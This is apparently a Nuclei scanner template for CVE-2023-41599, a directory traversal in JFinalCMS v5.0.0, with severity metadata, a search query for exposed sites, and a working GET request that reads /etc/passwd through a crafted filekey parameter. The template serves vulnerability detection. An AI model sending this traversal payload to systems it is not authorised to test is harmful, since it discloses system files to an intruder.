JFinalCMS v5.0.0 - Directory Traversal

id: CVE-2023-41599

info:
  name: JFinalCMS v5.0.0 - Directory Traversal
  author: pussycat0x
  severity: medium
  description: |
    An issue in the component /common/DownController.java of JFinalCMS v5.0.0 allows attackers to execute a directory traversal.
  reference:
    - https://github.com/wy876/POC/blob/main/JFinalCMS%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E(CVE-2023-41599).md
    - https://github.com/wy876/POC
    - https://github.com/xingchennb/POC-
    - https://github.com/Marco-zcl/POC
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-41599
    cwe-id: CWE-22
    epss-score: 0.00047
    epss-percentile: 0.17113
    cpe: cpe:2.3:a:jfinalcms_project:jfinalcms:5.0.0:*:*:*:*:*:*:*
  metadata:
    vendor: jfinalcms_project
    product: jfinalcms
    fofa-query: body="content=\"JreCms"
  tags: cve,cve2023,jrecms

http:
  - method: GET
    path:
      - "{{BaseURL}}/common/down/file?filekey=/../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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